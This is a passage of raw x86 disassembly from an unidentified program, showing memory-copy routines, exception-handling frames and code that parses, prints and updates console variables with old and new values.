mov ecx, esi call sub_4010CD mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_402176 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019A6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_4011F9 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AABB: ; CODE XREF: sub_40A9F0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_40AB19 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_402176 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401E6F mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AB19: ; CODE XREF: sub_40A9F0+D8j test edi, edi jbe short loc_40AB53 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4010CD mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_4020AE mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401E6F mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_40AB53: ; CODE XREF: sub_40A9F0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_40A9F0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ABC0 proc near ; CODE XREF: sub_4018B1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_40ABC0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ABE0 proc near ; CODE XREF: sub_4010CDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_40AC12 push edi mov edi, [esp+10h+arg_8] loc_40ABF6: ; CODE XREF: sub_40ABE0+27j push esi push edi mov ecx, ebx call sub_402121 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_40ABF6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AC12: ; CODE XREF: sub_40ABE0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_40ABE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AC30 proc near ; CODE XREF: sub_402176j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_40AC57 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_40AC46: ; CODE XREF: sub_40AC30+23j push ebx push esi mov ecx, ebp call sub_402121 add esi, 4 dec edi jnz short loc_40AC46 pop esi pop ebx loc_40AC57: ; CODE XREF: sub_40AC30+Aj pop edi pop ebp retn 0Ch sub_40AC30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AC70 proc near ; CODE XREF: sub_401DCFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4014CE sub_40AC70 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACA0 proc near ; CODE XREF: sub_402121j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401DE8 add esp, 8 retn 8 sub_40ACA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACD0 proc near ; CODE XREF: sub_401E6Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40ACED mov edx, [esp+arg_8] push esi loc_40ACE1: ; CODE XREF: sub_40ACD0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_40ACE1 pop esi locret_40ACED: ; CODE XREF: sub_40ACD0+Aj retn sub_40ACD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD00 proc near ; CODE XREF: sub_4020AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_40AD22 mov eax, [esp+arg_8] push esi loc_40AD11: ; CODE XREF: sub_40AD00+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_40AD11 pop esi retn ; --------------------------------------------------------------------------- loc_40AD22: ; CODE XREF: sub_40AD00+Aj mov eax, [esp+arg_8] retn sub_40AD00 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AD60 proc near ; CODE XREF: sub_4014CEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40AD6A xor eax, eax loc_40AD6A: ; CODE XREF: sub_40AD60+6j shl eax, 2 push eax call sub_4367FA sub_40AD60 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD90 proc near ; CODE XREF: sub_401DE8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40ADAB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40ADAB: ; CODE XREF: sub_40AD90+11j retn sub_40AD90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADC0 proc near ; CODE XREF: sub_401E6Aj mov eax, ecx mov dword ptr [eax], offset off_43E014 retn sub_40ADC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40ADE0: ; CODE XREF: ___:00401717j ; ___:loc_402027j push esi mov esi, ecx call sub_402031 test byte ptr [esp+8], 1 jz short loc_40ADF8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40ADF8: ; CODE XREF: ___:0040ADEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE10 proc near ; CODE XREF: sub_402031j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AE10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset off_43E014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_401744 loc_40AE41: ; DATA XREF: sub_40AE52o mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AE10 endp ; =============== S U B R O U T I N E ======================================= sub_40AE52 proc near ; DATA XREF: ___:0043F1BCo mov eax, offset loc_40AE41 retn sub_40AE52 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AE80 proc near ; CODE XREF: sub_4014BAj call sub_401708 jmp sub_4017B2 sub_40AE80 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEA0 proc near ; CODE XREF: sub_401B18j call sub_40161D jmp sub_4017C1 sub_40AEA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEC0 proc near ; CODE XREF: sub_4013D4j push esi mov esi, ecx push esi push offset sub_40141F lea eax, [esi+0Ch] push 0 push eax call sub_40123A add esp, 10h test eax, eax jnz short loc_40AEE2 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_40AEE2: ; CODE XREF: sub_40AEC0+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_40AEC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AF00: ; CODE XREF: ___:004011C2j push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AF27 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_40175D mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40AF27: ; CODE XREF: ___:0040AF09j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF40 proc near ; CODE XREF: sub_401744j push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AF5C mov eax, [esi+0Ch] push 0Fh push eax call sub_401758 add esp, 8 mov byte ptr [esi+10h], 0 loc_40AF5C: ; CODE XREF: sub_40AF40+8j pop esi retn sub_40AF40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AF70: ; CODE XREF: ___:004011F4j mov eax, [ecx+0Ch] retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF90 proc near ; CODE XREF: sub_40141Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AF90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov eax, [ecx] mov [ebp+var_10], esp mov [ebp+var_4], 0 call dword ptr [eax+4] loc_40AFBE: ; DATA XREF: sub_40AFD1o mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AF90 endp ; =============== S U B R O U T I N E ======================================= sub_40AFD1 proc near ; DATA XREF: ___:0043F21Co mov eax, offset loc_40AFBE retn sub_40AFD1 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B000 proc near ; CODE XREF: sub_401028j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B042 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_40218F mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_401050 add esp, 18h loc_40B042: ; CODE XREF: sub_40B000+Bj pop esi add esp, 8 retn sub_40B000 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B070 proc near ; CODE XREF: sub_401DCAj var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_40B092 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_401050 add esp, 0Ch loc_40B092: ; CODE XREF: sub_40B070+6j pop ecx retn sub_40B070 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B0B0 proc near ; CODE XREF: sub_4019F1j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B0B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_401749 lea edi, [esi+8Eh] lea eax, [esp+1Ch+var_11] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_401BF4 sub_40B0B0 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 3 mov dword ptr [esi], offset off_43E020 call sub_401BEF mov ecx, [esp+10h] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B170 proc near ; CODE XREF: sub_401AE6j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B170 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset off_43E020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_401BEF mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_401555 sub_40B170 endp ; --------------------------------------------------------------------------- lea ecx, [esi+60h] mov byte ptr [esp+14h], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+0Ch] pop edi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B210 proc near ; CODE XREF: sub_4017EEj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_401BEF push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_40B210 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+24h] push 3 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+3Ch] push 3 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- mov dword ptr [esp+3Ch], 0FFFFFFFFh lea ecx, [esp+1Ch] call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B390 proc near ; CODE XREF: sub_40180Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_401FBE mov eax, [esp+8+arg_0] mov edx, [esp+8+arg_C] push edx lea ecx, [eax+33h] call sub_401FBE mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_10] mov edi, [esp+8+arg_8] mov [ecx+48h], dl mov eax, [esp+8+arg_0] push edi push eax mov ecx, esi call sub_401F32 mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_14] push edi mov [ecx+4], dl mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_18] mov [eax+5], ecx mov ecx, [esp+0Ch+arg_0] call sub_401FBE lea edx, [esp+8+arg_0] lea ecx, [esi+8Eh] push edx call sub_401906 sub_40B390 endp ; --------------------------------------------------------------------------- pop edi pop esi retn 1Ch ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B430 proc near ; CODE XREF: sub_401B5Ej var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_40B430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_401861 mov edi, eax mov ecx, [esp+60h+arg_8] mov [esp+60h+var_4], 0 push ecx lea ecx, [esp+64h+var_3C] call sub_401861 mov ebp, eax mov edx, [esp+60h+arg_4] lea ecx, [esp+60h+var_54] push edx mov byte ptr [esp+64h+var_4], 1 call sub_401861 mov ecx, [esp+60h+arg_18] mov edx, [esp+60h+arg_14] push ecx mov ecx, [esp+64h+arg_10] push edx mov edx, [esp+68h+arg_0] push ecx push edi push ebp push eax push edx mov ecx, esi mov byte ptr [esp+7Ch+var_4], 2 call sub_40180C sub_40B430 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov byte ptr [esp+5Ch], 1 call sub_401226 lea ecx, [esp+24h] mov byte ptr [esp+5Ch], 0 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+5Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+54h] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B520 proc near ; CODE XREF: sub_4019CEj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_40153C add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_401451 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401C71 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jz short loc_40B5A1 mov edi, [esp+10h+arg_0] loc_40B566: ; CODE XREF: sub_40B520+7Fj push edi lea ecx, [esp+14h+var_8] call sub_401F5A mov ecx, [eax] add ecx, 1Eh call sub_4021AD test eax, eax lea ecx, [esp+10h+var_8] jz short loc_40B5AB call sub_40133E lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_401C71 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jnz short loc_40B566 loc_40B5A1: ; CODE XREF: sub_40B520+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_40B5AB: ; CODE XREF: sub_40B520+60j call sub_401F5A mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_40B520 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B5F0: ; CODE XREF: ___:00401456j push 0FFFFFFFFh push offset loc_438BF8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+28h] push esi mov esi, ecx push eax lea ecx, [esp+8] call sub_401861 mov ecx, [esp+30h] mov dword ptr [esp+24h], 0 push ecx push eax mov ecx, esi call sub_4019CE lea ecx, [esp+4] mov esi, eax mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B680 proc near ; CODE XREF: sub_401596j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4015D7 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B6D1 mov byte ptr [esi+19h], 1 loc_40B6D1: ; CODE XREF: sub_40B680+4Bj pop esi retn 8 sub_40B680 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B700 proc near ; CODE XREF: sub_401F32j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_4015D7 mov ecx, esi call sub_4017E4 push eax call near ptr 77C1CF90h nop fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B755 mov byte ptr [esi+19h], 1 loc_40B755: ; CODE XREF: sub_40B700+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_40B700 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B790: ; CODE XREF: ___:00401D43j fld dword ptr [esp+8] push esi mov esi, [esp+8] sub esp, 8 fstp qword ptr [esp] push offset aF ; "%f" push esi call sub_40102D mov eax, [esp+1Ch] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_4017E4 push eax call near ptr 77C1BF18h nop fld dword ptr [esp+10h] fcomp flt_43E024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_40B7E1 mov byte ptr [esi+19h], 1 loc_40B7E1: ; CODE XREF: ___:0040B7DBj pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B810: ; CODE XREF: ___:00401C94j push ebx mov bl, [esp+0Ch] test bl, bl push esi jz short loc_40B840 mov esi, [esp+0Ch] push offset aTrue ; "true" mov ecx, esi call sub_4015D7 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40B840: ; CODE XREF: ___:0040B818j mov esi, [esp+0Ch] push offset aFalse ; "false" mov ecx, esi call sub_4015D7 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B880: ; CODE XREF: ___:00401D6Bj push esi mov esi, [esp+8] push edi mov edi, [esp+10h] push edi push offset dword_4437F4 push esi call sub_40102D fild dword ptr [esp+1Ch] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_40B8B0 mov byte ptr [esi+19h], 1 loc_40B8B0: ; CODE XREF: ___:0040B8AAj pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B8D0: ; CODE XREF: ___:loc_401ACDj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_438C30 push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+68h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BA12 lea ebx, [esi+69h] mov ecx, ebx call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aCvar ; "(cvar)" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+6Ch] call sub_40153C add ebp, 8Eh lea edx, [esp+10h] push edx mov ecx, ebp xor edi, edi call sub_401451 mov eax, [eax] lea ecx, [esp+10h] push ecx mov ecx, ebp mov [esp+70h], eax call sub_401C71 push eax lea ecx, [esp+70h] call sub_40136B test al, al jz loc_40BA0B loc_40B976: ; CODE XREF: ___:0040BA05j lea ecx, [esp+6Ch] inc edi call sub_401F5A mov ecx, [eax] add ecx, 33h call sub_4017E4 push eax lea ecx, [esp+70h] call sub_401F5A mov ecx, [eax] call sub_4017E4 push eax lea ecx, [esp+74h] call sub_401F5A mov ecx, [eax] add ecx, 1Eh call sub_4017E4 push eax push edi push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")" mov ecx, ebx call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 24h push 5DCh call near ptr 2811E0Eh nop lea ecx, [esp+6Ch] call sub_40133E lea ecx, [esp+10h] push ecx mov ecx, ebp call sub_401C71 push eax lea ecx, [esp+70h] call sub_40136B test al, al jnz loc_40B976 loc_40BA0B: ; CODE XREF: ___:0040B970j mov al, 1 jmp loc_40BB9A ; --------------------------------------------------------------------------- loc_40BA12: ; CODE XREF: ___:0040B907j lea ecx, [ebp+32h] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40BAA5 push offset asc_443600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016AE push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 0 call sub_4019CE lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BB98 mov ecx, edi call sub_4017E4 push eax lea ecx, [edi+1Eh] call sub_4017E4 push eax push offset aSS_5 ; "%s = \"%s\"" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 1Ch jmp loc_40BB9A ; --------------------------------------------------------------------------- loc_40BAA5: ; CODE XREF: ___:0040BA24j lea ecx, [ebp+60h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BB98 push offset asc_443600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016AE push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 1 call sub_4019CE lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BB98 push edi lea ecx, [esp+18h] call sub_4014C9 mov ebx, 2 push 1 push offset asc_443600 ; " " lea eax, [esp+4Ch] push ebx push eax mov ecx, esi mov [esp+74h], ebx call sub_4011EA push eax push edi mov ecx, ebp mov byte ptr [esp+6Ch], 3 call sub_401F32 lea ecx, [esp+44h] mov [esp+64h], bl call sub_401226 lea ecx, [esp+14h] call sub_4017E4 push eax mov ecx, edi call sub_4017E4 push eax lea ecx, [edi+1Eh] call sub_4017E4 push eax push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 20h lea ecx, [esp+14h] mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: ___:0040BA60j ; ___:0040BAB7j ... xor al, al loc_40BB9A: ; CODE XREF: ___:0040BA0Dj ; ___:0040BAA0j ... mov 